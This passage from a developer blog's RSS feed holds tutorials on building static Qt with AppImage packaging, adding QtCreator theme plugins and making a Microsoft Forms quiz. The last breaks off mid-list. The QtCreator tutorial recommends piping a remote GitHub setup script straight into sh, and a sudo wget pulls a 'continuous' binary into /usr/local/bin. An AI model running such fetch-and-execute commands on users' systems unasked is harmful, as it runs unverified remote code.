For me, it makes my life ...]]></description><link>https://www.foxoman.net/compile-static-qt-build-in-ubuntu-optimized-for-small-size-with-appimage-support</link><guid isPermaLink="true">https://www.foxoman.net/compile-static-qt-build-in-ubuntu-optimized-for-small-size-with-appimage-support</guid><category><![CDATA[Qt]]></category><category><![CDATA[static]]></category><category><![CDATA[C++]]></category><category><![CDATA[Ubuntu]]></category><dc:creator><![CDATA[Sultan Alisaiee]]></dc:creator><pubDate>Wed, 13 May 2020 21:09:17 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1589379154620/_lfiem_3X.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Qt is a static build-ready framework but it published as Shared Library due to  <a target='_blank' rel='noopener noreferrer'  href="https://www.qt.io/licensing/">license</a> requirements. 
As you are reading this you should already know what is the requirement to build a static build and what is the benefits.</p>
<p>For me, it makes my life easy to distribute my final product with one single binary file for all Qt libraries and less dependency on system library and no need to worry about other system libs which could be missing in other computers and systems, as either, I also build my app against static system libs to get one absolute file or just package few systems shared libs.</p>
<p>For windows, there is a qt static build in  <a target='_blank' rel='noopener noreferrer'  href="https://www.msys2.org/">Msys2</a>  Repo but I could not find any ready static build for Linux with the last releases.</p>
<p>Looking around a with many trial and error I got the correct build configuration for my environment which may help you too.</p>
<h3 id="my-build-env-">My Build Env.</h3>
<table>
<thead>
<tr>
<td>OS</td><td>Ubuntu 20.04 Lts</td></tr>
</thead>
<tbody>
<tr>
<td>Device Vendor</td><td>Lenovo x240</td></tr>
<tr>
<td>CPU</td><td>Intel® Core™ i5-4300U CPU @ 1.90GHz × 4</td></tr>
<tr>
<td>RAM</td><td>7.7 GiB</td></tr>
<tr>
<td>Graphics</td><td>Intel® HD Graphics 4400 (HSW GT2)</td></tr>
<tr>
<td>Qt Source Version</td><td>5.14.2</td></tr>
<tr>
<td>Build Tools</td><td>GCC  9.3</td></tr>
<tr>
<td>Time Spent</td><td>4 hours </td></tr>
</tbody>
</table>
<h3 id="set-up-the-build-env-in-ubuntu">Set-Up the build Env. in Ubuntu</h3>
<ul>
<li>Install build <a target='_blank' rel='noopener noreferrer'  href="https://doc.qt.io/qt-5/linux-requirements.html">requiremnet</a>  in Ubuntu<pre><code>sudo apt-<span class="hljs-keyword">get</span> build-dep qt5-<span class="hljs-keyword">default</span> 
sudo apt install build-essential libclang-dev libssl-dev python-<span class="hljs-keyword">is</span>-python2  libfontconfig1-dev libfreetype6-dev
</code></pre></li>
<li>Download Qt Source from Qt  <a target='_blank' rel='noopener noreferrer'  href="https://download.qt.io/archive/qt/">Download</a>  Page </li>
<li>Set the Build Directory strcutre  <a target='_blank' rel='noopener noreferrer'  href="http://mama.indstate.edu/users/ice/tree/">tree</a>  to be like this : <pre><code>/home/foxoman/<span class="hljs-type">Qt5static</span>        <span class="hljs-comment">// My Build Dir under the name Qt5static</span>
└── <span class="hljs-number">5.14</span>.<span class="hljs-number">2</span>
  ├── build                    <span class="hljs-comment">// Build Prefix</span>
  ├── src                      <span class="hljs-comment">// extract the Qt source here</span>
  └── <span class="hljs-keyword">static</span>                   <span class="hljs-comment">// final install folder</span>
</code></pre></li>
</ul>
<h3 id="configure-the-build">Configure the build</h3>
<p>Now open the terminal and apply this one command, if you apply same build structure then you do not need to change anything otherwise change accordingly</p>
<pre><code>cd ~/Qt5static/5.14.2/build; ~/Qt5static/5.14.2/src/configure -v -static -<span class="hljs-keyword">release</span> -ltcg -<span class="hljs-keyword">optimize</span>-<span class="hljs-keyword">size</span> -<span class="hljs-keyword">no</span>-pch -prefix ~/Qt5static/<span class="hljs-number">5.14</span><span class="hljs-number">.2</span>/ -qt-zlib -qt-pcre -qt-libpng -qt-libjpeg -qt-freetype -qt-xcb -qt-harfbuzz -make libs -nomake tools -nomake examples -nomake tests -opensource -<span class="hljs-keyword">confirm</span>-license -<span class="hljs-keyword">skip</span> qtwebengine -dbus-linked -<span class="hljs-keyword">no</span>-rpath -openssl-linked -opengl desktop -sysconfdir <span class="hljs-string">"/etc/xdg"</span> -<span class="hljs-keyword">no</span>-qml-debug -feature-freetype -fontconfig -feature-relocatable -strip
</code></pre><p>To Understand what each setting do or to get more options </p>
<pre><code>cd ~<span class="hljs-regexp">/Qt5static/</span><span class="hljs-number">5.14</span><span class="hljs-number">.2</span>/build; ~<span class="hljs-regexp">/Qt5static/</span><span class="hljs-number">5.14</span><span class="hljs-number">.2</span>/src/configure -h
</code></pre><p><strong> Here are some the  <a target='_blank' rel='noopener noreferrer'  href="https://doc.qt.io/qt-5/configure-options.html">configuration options</a>  i used</strong></p>
<table>
<thead>
<tr>
<td><code>-static -release</code></td><td>Build a static release no debug</td></tr>
</thead>
<tbody>
<tr>
<td><code>-ltcg -optimize-size</code></td><td><a target='_blank' rel='noopener noreferrer'  href="https://www.qt.io/blog/2019/01/02/qt-applications-lto">Reduce</a>  the build size but will increase the compile time</td></tr>
<tr>
<td><code>-qt-*</code></td><td>Use those Lib from Qt not from the system</td></tr>
<tr>
<td><code>-nomake tools, examples, tests</code></td><td>Do not build the qt tools like QtCreator and the examples and the tests</td></tr>
<tr>
<td><code>-dbus-linked  -openssl-linked</code></td><td>Dynamic link to openssl and dbus Libs and to relink when needed</td></tr>
<tr>
<td><code>-feature-freetype -fontconfig</code></td><td>Enable fontconfig to read system fonts otherwise you have to ship your app with the fonts</td></tr>
</tbody>
</table>
<h3 id="build-and-install">Build and Install</h3>
<p>To Build and install the static final build in static folder run the bellow commands</p>
<pre><code><span class="hljs-built_in">make</span> -j $(grep -c ^processor /proc/cpuinfo)

<span class="hljs-built_in">make</span> install
</code></pre><h3 id="configure-qtcreator-to-use-the-static-kit">Configure QtCreator to Use the Static Kit</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1589389301425/2sIL0f4qL.gif" alt="Peek 2020-05-13 21-00.gif">
<strong>You Will have to Add the Qt Version from the static build and New Qt Kit to use!</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1589389584598/h5RQpCvqk.png" alt="2020-05-13_21-04.png">
<strong> Creating New Project you Can Activate the New Static Build </strong></p>
<h3 id="optimize-for-smaller-size">Optimize for smaller size</h3>
<p>Due to our build configuration, the build size will be smaller than the normal static build size and we can make it smaller using:</p>
<ul>
<li><a target='_blank' rel='noopener noreferrer'  href="https://manpages.ubuntu.com/manpages/trusty/man1/strip.1.html">Strip</a>  linux command<pre><code>strip <span class="hljs-_">-s</span> /appDir/app
</code></pre></li>
<li><a target='_blank' rel='noopener noreferrer'  href="https://upx.github.io/">UPX</a>  compress tool to almost half of its size.<pre><code>./upx -9 /appDir/app
</code></pre></li>
</ul>
<h3 id="build-an-appimage">Build An AppImage</h3>
<p> <a target='_blank' rel='noopener noreferrer'  href="https://github.com/AppImage/AppImageKit">AppImage</a>  format is the portable format in Linux and by building your app as a static app then it so easy to package it and distribute your app for Linux.</p>
<p><strong>
We will do it manually in an easy way.
</strong></p>
<ul>
<li>Install appimagetool</li>
</ul>
<pre><code>sudo wget https:<span class="hljs-regexp">//github</span>.com/AppImage/AppImageKit/releases/download/continuous/appimagetool-x86_64.AppImage -O /usr/<span class="hljs-keyword">local</span>/bin/appimagetool
sudo <span class="hljs-keyword">chmod</span> +<span class="hljs-keyword">x</span> /usr/<span class="hljs-keyword">local</span>/bin/appimagetool
</code></pre><ul>
<li>Build the  <a target='_blank' rel='noopener noreferrer'  href="https://docs.appimage.org/reference/appdir.html">AppDir</a>  Dir Structure to be a simple as bellow</li>
</ul>
<pre><code>/home/foxoman/app.AppDir
├── app.desktop
├── app.png
├── AppRun
└── usr
    ├── bin
    │   └── app
    └── share
        ├── applications
        │   └── app.desktop
        └── icons
            └── hicolor
                └── 256x256
                    └── apps
                        └── app.png

8 directories, 6 files
</code></pre><blockquote>
<p>In Case you wanted to add few System Libs or Qt Plug-In which you can not build statically needed to be shipped with your app add it in /usr/lib/ folder and activate the export to the lib folder in AppRun file as explained later!</p>
</blockquote>
<ul>
<li><p>Make a folder Called app.AppDir and create the sub dir as per the above structure </p>
</li>
<li><p>You Will only need <strong>4 files</strong> to care about, your <strong>App Binary</strong> should be in <code>/bin/</code> folder and the <strong>app icon</strong> in two places and the <strong>desktop file</strong> also in two places plus the <strong>AppRun bash file</strong> to run the app, <strong>And <code>/lib/</code> Folder for shared system libs.</strong></p>
</li>
</ul>
<pre><code><span class="hljs-meta">#!/bin/sh</span>
HERE=<span class="hljs-string">"<span class="hljs-variable">$(dirname "$(readlink -f "${0}")</span>"</span>)<span class="hljs-string">"

## If you gonna add more libs inside the appimage uncomment this line and change the url as needed
#export LD_LIBRARY_PATH=<span class="hljs-variable">${HERE}</span>/usr/lib/foobar:<span class="hljs-variable">$LD_LIBRARY_PATH</span>

# uncomment for GUI App
#exec "</span><span class="hljs-variable">${HERE}</span>/usr/bin/app<span class="hljs-string">" "</span><span class="hljs-variable">$@</span><span class="hljs-string">"

# uncomment for console app
x-terminal-emulator -e "</span><span class="hljs-variable">${HERE}</span>/usr/bin/app<span class="hljs-string">" "</span><span class="hljs-variable">$@</span><span class="hljs-string">"</span>
</code></pre><ul>
<li>now run this command to build the appimage  </li>
</ul>
<pre><code> <span class="hljs-attribute">appimagetool</span> <span class="hljs-string">'/home/foxoman/app.AppDir'</span>
</code></pre><h3 id="finding-the-missing-libs">Finding the missing Libs</h3>
<p>Few System Libs still needed if it&#39;s not linked statically to your bin like the GCC libs and so on.
To find out what libs is needed:
<code>objdump -p /bin/app</code>
It will tell you something like this:</p>
<pre><code><span class="hljs-selector-tag">Dynamic</span> <span class="hljs-selector-tag">Section</span>:
  <span class="hljs-selector-tag">NEEDED</span>               <span class="hljs-selector-tag">libc</span><span class="hljs-selector-class">.so</span><span class="hljs-selector-class">.6</span>
  <span class="hljs-selector-tag">NEEDED</span>               <span class="hljs-selector-tag">libdouble-conversion</span><span class="hljs-selector-class">.so</span><span class="hljs-selector-class">.3</span>
  <span class="hljs-selector-tag">NEEDED</span>               <span class="hljs-selector-tag">libicui18n</span><span class="hljs-selector-class">.so</span><span class="hljs-selector-class">.66</span>
  <span class="hljs-selector-tag">NEEDED</span>               <span class="hljs-selector-tag">libicuuc</span><span class="hljs-selector-class">.so</span><span class="hljs-selector-class">.66</span>
  <span class="hljs-selector-tag">NEEDED</span>               <span class="hljs-selector-tag">libglib-2</span><span class="hljs-selector-class">.0</span><span class="hljs-selector-class">.so</span><span class="hljs-selector-class">.0</span>
  <span class="hljs-selector-tag">NEEDED</span>               <span class="hljs-selector-tag">libpthread</span><span class="hljs-selector-class">.so</span><span class="hljs-selector-class">.0</span>
  <span class="hljs-selector-tag">NEEDED</span>               <span class="hljs-selector-tag">libstdc</span>++<span class="hljs-selector-class">.so</span><span class="hljs-selector-class">.6</span>
  <span class="hljs-selector-tag">NEEDED</span>               <span class="hljs-selector-tag">libm</span><span class="hljs-selector-class">.so</span><span class="hljs-selector-class">.6</span>
  <span class="hljs-selector-tag">NEEDED</span>               <span class="hljs-selector-tag">libgcc_s</span><span class="hljs-selector-class">.so</span><span class="hljs-selector-class">.1</span>
  <span class="hljs-selector-tag">NEEDED</span>               <span class="hljs-selector-tag">ld-linux-x86-64</span><span class="hljs-selector-class">.so</span><span class="hljs-selector-class">.2</span>
</code></pre><p>And you could use this command to find where those required libs is located:</p>
<pre><code><span class="hljs-attribute">ldd</span> -v /bin/app
</code></pre><p>Result like this:</p>
<pre><code>    linux-vdso.so<span class="hljs-number">.1</span> (<span class="hljs-number">0x00007ffed2df</span>0000)
    libc.so<span class="hljs-number">.6</span> =&gt; /lib/x86_64-linux-gnu/libc.so<span class="hljs-number">.6</span> (<span class="hljs-number">0x00007fed</span>ae872000)
    libdouble-conversion.so<span class="hljs-number">.3</span> =&gt; /lib/x86_64-linux-gnu/libdouble-conversion.so<span class="hljs-number">.3</span> (<span class="hljs-number">0x00007fed</span>ae85c000)
    libicui18n.so<span class="hljs-number">.66</span> =&gt; /lib/x86_64-linux-gnu/libicui18n.so<span class="hljs-number">.66</span> (<span class="hljs-number">0x00007fedae55d</span>000)
    libicuuc.so<span class="hljs-number">.66</span> =&gt; /lib/x86_64-linux-gnu/libicuuc.so<span class="hljs-number">.66</span> (<span class="hljs-number">0x00007fed</span>ae377000)
    libglib<span class="hljs-number">-2.0</span>.so<span class="hljs-number">.0</span> =&gt; /lib/x86_64-linux-gnu/libglib<span class="hljs-number">-2.0</span>.so<span class="hljs-number">.0</span> (<span class="hljs-number">0x00007fed</span>ae24e000)
    libpthread.so<span class="hljs-number">.0</span> =&gt; /lib/x86_64-linux-gnu/libpthread.so<span class="hljs-number">.0</span> (<span class="hljs-number">0x00007fed</span>ae22b000)
    libstdc++.so<span class="hljs-number">.6</span> =&gt; /lib/x86_64-linux-gnu/libstdc++.so<span class="hljs-number">.6</span> (<span class="hljs-number">0x00007fed</span>ae048000)
    libm.so<span class="hljs-number">.6</span> =&gt; /lib/x86_64-linux-gnu/libm.so<span class="hljs-number">.6</span> (<span class="hljs-number">0x00007fedadef</span>9000)
    libgcc_s.so<span class="hljs-number">.1</span> =&gt; /lib/x86_64-linux-gnu/libgcc_s.so<span class="hljs-number">.1</span> (<span class="hljs-number">0x00007fedaded</span>e000)
    /lib64/ld-linux-x86<span class="hljs-number">-64.s</span>o<span class="hljs-number">.2</span> (<span class="hljs-number">0x00007fed</span>aec54000)
    libicudata.so<span class="hljs-number">.66</span> =&gt; /lib/x86_64-linux-gnu/libicudata.so<span class="hljs-number">.66</span> (<span class="hljs-number">0x00007fedac41d</span>000)
    libdl.so<span class="hljs-number">.2</span> =&gt; /lib/x86_64-linux-gnu/libdl.so<span class="hljs-number">.2</span> (<span class="hljs-number">0x00007fed</span>ac417000)
    libpcre.so<span class="hljs-number">.3</span> =&gt; /lib/x86_64-linux-gnu/libpcre.so<span class="hljs-number">.3</span> (<span class="hljs-number">0x00007fed</span>ac3a4000)
</code></pre><p>You will need to ship them with your app image then you finally able to complete all requirements or just build and link it statically with your app as bellow if you have static system libs available or you build it your self statically.</p>
<p><strong>To Make Automatic AppImage Build you could use  <a target='_blank' rel='noopener noreferrer'  href="https://appimage-builder.readthedocs.io/en/latest/intro/tutorial.html">AppImage Builder.</a> </strong></p>
<h3 id="static-link-all-system-libs-at-once-">Static link all System Libs at once!</h3>
<p>To make life easier for you, you may need to compile your app statically with all required system static libraries, to do that add this Line to your app qmake file in QtCreator or to the command line.</p>
<pre><code><span class="hljs-type">QMAKE_LFLAGS</span> += -<span class="hljs-keyword">static</span> -s -<span class="hljs-type">Os</span>
</code></pre><p><strong>This will also strip out your binary file and you will not need to use strip command!</strong></p>
<h3 id="final-result">Final Result</h3>
<p>Using Static Qt Build and strip with UPX tool and package it as AppImage I am able to get a completely High Performance, Small Size portable format solution to publish my apps in all Linux distros. While the size looks high for console app but for a full GUI app with an approximate of 10 - 20 MB only is a big success.</p>
<p><strong>I have created a small console app as an example.</strong></p>
<table>
<thead>
<tr>
<td>Optimized Static App Size</td><td>38 mb</td></tr>
</thead>
<tbody>
<tr>
<td>after strip size</td><td>35.5 mb</td></tr>
<tr>
<td>after upx size</td><td>11.6 mb</td></tr>
<tr>
<td>AppImage Size</td><td>11.3 mb</td></tr>
</tbody>
</table>
<p>The test app is a full console app String to Binary Converter!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1589449621321/uNouzFLy7.gif" alt="ezgif.com-optimize.gif"></p>
<p> <a target='_blank' rel='noopener noreferrer'  href="https://github.com/foxoman/strtobin/releases/download/1/StringtoBinary-x86_64.AppImage">Download</a>  and test it and let me know!</p>
<p><strong>Please let me know how it works and your comment and share for this article down in comment section.</strong></p>
<hr>
<p><a target='_blank' rel='noopener noreferrer'  href="https://www.buymeacoffee.com/foxoman"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1587235304131/Je4ZlrqY6.png" alt="bymecoffe.png"></a>
 <strong><em>Thank you for your support!</em></strong></p>
]]></content:encoded></item><item><title><![CDATA[Make QtCreator looks sexier!!]]></title><description><![CDATA[QtCreator is a great IDE for C++/Qt development but once you compare how it looks like with VS Code it will be a lot off.
But what if you can make looks better by adding a few plugins.

This is How It Looks Like upon setup

This is how we want it to ...]]></description><link>https://www.foxoman.net/make-qtcreator-looks-sexier</link><guid isPermaLink="true">https://www.foxoman.net/make-qtcreator-looks-sexier</guid><category><![CDATA[Qt]]></category><dc:creator><![CDATA[Sultan Alisaiee]]></dc:creator><pubDate>Mon, 04 May 2020 07:47:40 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1588577082261/NwgZjwH70.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>QtCreator is a great IDE for C++/Qt development but once you compare how it looks like with VS Code it will be a lot off.</p>
<p>But what if you can make looks better by adding a few plugins.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588543911140/EiOnsqmQw.png" alt="Screenshot from 2020-05-04 02-08-29.png">
<strong>This is How It Looks Like upon setup</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588577096337/byAclwKpi.png" alt="qtcfull.png">
<strong>This is how we want it to look like!</strong></p>
<h2 id="set-up-your-build-environment">Set-UP your Build Environment</h2>
<p>I assume you already have downloaded and installed Qt SDK and all development tools, but if not install it based on your OS. If you are in Ubuntu mostly you will need to install cmake from the snap store.</p>
<p><code>sudo snap install cmake --classic</code> </p>
<h2 id="get-qtcreator-source-">Get QtCreator Source!</h2>
<p>We will need to build and install Three PlugIns to QtCreator we have but before we do that we will need to get the source code for the same version we have.</p>
<p><strong>Download QtCreator Source from  <a target='_blank' rel='noopener noreferrer'  href="http://download.qt.io/official_releases/qtcreator/">here</a>  after choosing which version you are using! It should match the same version!</strong></p>
<p>Extract it somewhere in your system.</p>
<h2 id="get-plug-ins-sources-">Get plug-Ins sources.</h2>
<p>We will need three plugins sources, download, and install them using the same commands as bellow.</p>
<ol>
<li><p><a target='_blank' rel='noopener noreferrer'  href="https://github.com/Longhanks/qtcreator-plugin-onedark">OneDark style additions for Qt Creator
</a> </p>
</li>
<li><p><a target='_blank' rel='noopener noreferrer'  href="https://github.com/Longhanks/qtcreator-plugin-layoutsupport">Layout support for additional plugins for Qt Creator.</a> </p>
</li>
<li><p><a target='_blank' rel='noopener noreferrer'  href="https://github.com/Longhanks/qtcreator-plugin-tabs">Tabs for Qt Creator.</a> </p>
</li>
<li><p><a target='_blank' rel='noopener noreferrer'  href="https://github.com/Longhanks/qtcreator-plugin-minimap">Minimap for Qt Creator.</a> </p>
</li>
<li><p><a target='_blank' rel='noopener noreferrer'  href="https://github.com/Longhanks/qtcreator-plugin-csd">Client-side decorated unified title-/toolbar for Qt Creator.
</a> </p>
</li>
</ol>
<h2 id="build-and-install-the-plug-ins">Build and install the plug-ins</h2>
<p>You will need now to extract and install each plug-in one by one using the same command bellow once you are in the Dir of the plugin apply the bellow after changing the path as explained.</p>
<pre><code>
mkdir build &amp;&amp; cd build

cmake .. -DCMAKE_BUILD_TYPE=Release -DQTCREATOR_SRC=<span class="hljs-string">'/home/foxoman/qt-creator-opensource-src-4.11.1'</span> -DQt5_DIR=<span class="hljs-string">'/home/foxoman/Qt/5.14.2/gcc_64/lib/cmake/Qt5'</span> -DQTCREATOR_BIN=<span class="hljs-string">'/home/foxoman/Qt/Tools/QtCreator/bin/qtcreator'</span> -DCMAKE_PREFIX_PATH=<span class="hljs-string">'/home/foxoman/Qt/5.14.2/gcc_64'</span> 

<span class="hljs-built_in">make</span>

<span class="hljs-built_in">make</span> install
</code></pre><h3 id="set-the-environment-for-the-cmake-as-follow-">Set the environment for the CMake as follow:</h3>
<p><code>-DQTCREATOR_SRC=</code> QtCreator Source code the one you downloaded and extracted</p>
<p><code>-DQt5_DIR=</code> Qt5 Cmake Dir in Qt SDK Dir if you did not use the system Qt SDK in Mac/Linux</p>
<p><code>DQTCREATOR_BIN=</code> Qt Creator Binary File if you did not use the system Qt SDK in Mac/Linux</p>
<p><code>DCMAKE_PREFIX_PATH=</code> Qt Sdk Build Environment folder if you did not use the system Qt SDK in Mac/Linux and  windows</p>
<h3 id="activate-the-plugins-in-qtcreator">Activate the PlugIns in QtCreator</h3>
<p>As you will do normally you can activate the installed plugins from <strong>About Plugins</strong> Windows in QtCreator and restart QtCreator.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588577464118/xdVoZXWqs.png" alt="qtcplugin.png">
<strong>PlugIns Activation Window in QtCreator</strong></p>
<h3 id="get-to-the-settings-window">Get to the Settings Window</h3>
<p>Now you can change the settings of each plugin from the <strong>Options</strong> window.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588577588237/aKRhojiJ_.png" alt="settings.png">
<strong> Setting Window </strong></p>
<h3 id="final-settings">Final Settings</h3>
<ul>
<li><p>Hide the side Mode Selector Panel from <strong>Window --&gt; Mode Selector Style --&gt; Hidden</strong></p>
</li>
<li><p>Install OneDark Syntax Theme from  <a target='_blank' rel='noopener noreferrer'  href="https://github.com/busyluo/qtcreator-onedark">Here</a>  using this easy command if supported in your system : <code>curl https://raw.githubusercontent.com/busyluo/qtcreator-onedark/master/setup.sh -sSf | sh</code></p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588578114497/dlDP_ZkwA.png" alt="fullscrqtc.png">
<strong>And Here Is Our final Look</strong></p>
<hr>
<h2 id="you-may-like-to-add-qdarksky-them">You May Like To Add qDarkSky Them</h2>
<div class="embed-wrapper"><div class="embed-loading"><div class="loadingRow"></div><div class="loadingRow"></div></div><a class="embed-card" data-card-width="600px" data-card-key="2e4d628b39a64b99917c73956a16b477" href="https://www.foxoman.net/qdarksky-qtcreator-dark-theme-cjxfly12d00143js1it29v4km" data-card-controls="0" data-card-theme="light">https://www.foxoman.net/qdarksky-qtcreator-dark-theme-cjxfly12d00143js1it29v4km</a></div>
<hr>
<ul>
<li><h3 id="you-will-have-to-re-build-and-re-install-all-the-above-plugins-for-every-majer-upgrade-of-qtcreator-">You Will Have to Re-Build and Re-Install All The Above Plugins For Every Majer Upgrade of QtCreator.</h3>
</li>
<li><h3 id="any-bug-encounter-using-the-mentioned-plugins-please-contact-the-original-developers-">Any Bug Encounter using the Mentioned PlugIns Please contact the original Developers.</h3>
</li>
</ul>
<hr>
<p><a target='_blank' rel='noopener noreferrer'  href="https://www.buymeacoffee.com/foxoman"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1587235304131/Je4ZlrqY6.png" alt="bymecoffe.png"></a>
 <strong><em>Thank you for your support!</em></strong></p>
]]></content:encoded></item><item><title><![CDATA[How to create a quiz in MS Forms!]]></title><description><![CDATA[One of the many great apps in Microsoft 365 is  Microsoft From  which help you to create a different type of forms and quizzes for personal and business use alike.
If you are already in Outlook or using Office 365 Business then you are great to go.

...]]></description><link>https://www.foxoman.net/how-to-create-a-quiz-in-ms-forms</link><guid isPermaLink="true">https://www.foxoman.net/how-to-create-a-quiz-in-ms-forms</guid><category><![CDATA[tutorials]]></category><category><![CDATA[Microsoft]]></category><category><![CDATA[forms]]></category><dc:creator><![CDATA[Sultan Alisaiee]]></dc:creator><pubDate>Sun, 03 May 2020 08:00:50 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1588493161434/Wz7Uyz-lK.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>One of the many great apps in Microsoft 365 is  <a target='_blank' rel='noopener noreferrer'  href="https://forms.office.com/">Microsoft From </a> which help you to create a different type of forms and quizzes for personal and business use alike.</p>
<p><strong>If you are already in Outlook or using Office 365 Business then you are great to go.</strong></p>
<ol>
<li>From the side menu in Outlook you can easily log in to forms if not visible you can search in all apps option and click on the app icon. 
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588447443756/pxX2j-0Vn.png" alt="DeepinScreenshot_select-area_20200502221901.png"></li>
<li>Once you log in the Forms the main page you will have two options to create either a <strong>form</strong> or a <strong>quiz</strong>. Both are the same but in the quiz, you will have the ability to add <em>point score!</em> and in this tutorial, we will choose the quiz.
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588447588846/dF8Gr_gZj.png" alt="DeepinScreenshot_select-area_20200502222235.png"></li>
<li>This will be the main new form window were you can change <strong>the title</strong> and <strong>file name </strong>and look around for the <strong>themes</strong> and <strong>responses</strong>, <strong>settings</strong>, and <strong>sharing options</strong>.
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588447846102/sqtuSyuf2.png" alt="DeepinScreenshot_select-area_20200502222852.png"></li>
<li>When you click on the title frame you will be able to edit and change the title and the description and the ability to add a photo that we will check at the end of this tutorial.
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588448075811/xff49BXID.png" alt="DeepinScreenshot_select-area_20200502223124.png"></li>
<li>Edit the Title as you wish
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588448120299/ifMSr--Xb.png" alt="DeepinScreenshot_select-area_20200502223213.png"></li>
<li>Then click <strong>preview</strong> to check how it will look like for the person who will receive it from you.
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588448162052/YDu0kgo_4.png" alt="DeepinScreenshot_select-area_20200502223239.png"></li>
<li>Now we will start adding new Q in the quiz, once you click <strong>add new</strong> you will have all the types available for you to choose from, we will use a few of them in this tutorials. All the options settings are self-explanatory. 
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588448504041/ic02ifH6P.png" alt="DeepinScreenshot_select-area_20200502223305.png"></li>
<li>We will start by adding the <strong>choice option</strong> and for the rest of the item, all options have the same settings as you can see here except for what is specific to the option.
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588448876774/xGa_jGZ9l.png" alt="DeepinScreenshot_select-area_20200502224352.png"></li>
<li>Then we will add the <strong>text option</strong> 
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588448988214/zIe4QWZwf.png" alt="DeepinScreenshot_select-area_20200502224520.png"></li>
<li><strong>You can set the correct answer and set the score points for each quiz. and a comment to show up for each answer. </strong>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588492679866/V9OeMj5qk.png" alt="Screenshot from 2020-05-02 22-59-07.png"></li>
<li>And the <strong>rating option </strong>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588449023748/EJgFmEWMm.png" alt="DeepinScreenshot_select-area_20200502224631.png"></li>
<li><strong>Date Option</strong> 
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588449648861/QdnxGuyt5.png" alt="DeepinScreenshot_select-area_20200502224707.png"></li>
<li><strong>Ranking Option</strong> like the one used in surveys like hotel surveys.
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588449694514/tnR1AMH1l.png" alt="DeepinScreenshot_select-area_20200502224747.png"></li>
<li>Adding all your quiz parts, you will have to <strong>customize</strong> your theme and how your form will look like by going to the theme option and you can change the color and the background used.
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588450029255/4Tt6DLbFd.png" alt="DeepinScreenshot_select-area_20200502224852.png"></li>
<li>Then you will have to go the <strong>settings</strong> to add more customization before final sharing, all the options are explained clearly on what it does mean and how to use it.
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588450088436/ck9IZMVE6.png" alt="DeepinScreenshot_select-area_20200502225018.png"></li>
<li>you can decide who can respond to your form 
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588450099605/v7q7HMgNh.png" alt="DeepinScreenshot_select-area_20200502224947.png"></li>
<li>and you can write a <strong>special response message</strong> and share an email after responding to you and to the person who responds.
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588450111619/CTVUFSHub.png" alt="DeepinScreenshot_select-area_20200502225001.png"></li>
<li>and more customization  by adding the photo or logo in the main title like this 
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588450456423/9ZwWORpbw.png" alt="DeepinScreenshot_select-area_20200502225459.png"></li>
<li>I have selected a small logo
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588450470863/rofBkDzBl.png" alt="DeepinScreenshot_select-area_20200502225559.png"></li>
<li>and this is how it looks like in <strong>preview mode</strong>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588450520558/LUq1Nnk2e.png" alt="DeepinScreenshot_select-area_20200502225611.png"></li>
<li>To <strong>Share</strong> the form clicks on <strong>share</strong> and choose what and how and to whom you want to share. Get the direct link or share by outlook email or get the QR Code where they scan and get the link directly.
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588451771924/i689sRZ6P.png" alt="DeepinScreenshot_select-area_20200502225402.png"></li>
<li>Here is the <strong>QR code</strong>. 
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588451834675/vwydI9Can.png" alt="DeepinScreenshot_select-area_20200503002923.png"></li>
<li><strong> As explained before you will have to adjust te points for each Quiz, Leave it empty or 0 for any quiz that will not be graded, and fill the total grade point for the quiz to be graded. Once you re done the total point for the quiz will be ready to show. </strong>
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588492055564/Z26DaE4_t.png" alt="DeepinScreenshot_select-area_20200502230046.png"></li>
<li>Try to <strong>submit</strong> one quiz from the preview window and this is the message which you can customize it from the settings. 
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588492162121/XPP1Lffz3.png" alt="DeepinScreenshot_select-area_20200502230122.png"></li>
<li>You can look at the <strong>statistics</strong> and <strong>answers</strong> to the response from the <strong>responses</strong> tap. either in total or per responder.
<img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1588492222685/XU72kmb42.png" alt="DeepinScreenshot_select-area_20200502230202.png"></li>
<li>For posting the final score you will have to go to <strong>post a score</strong> button
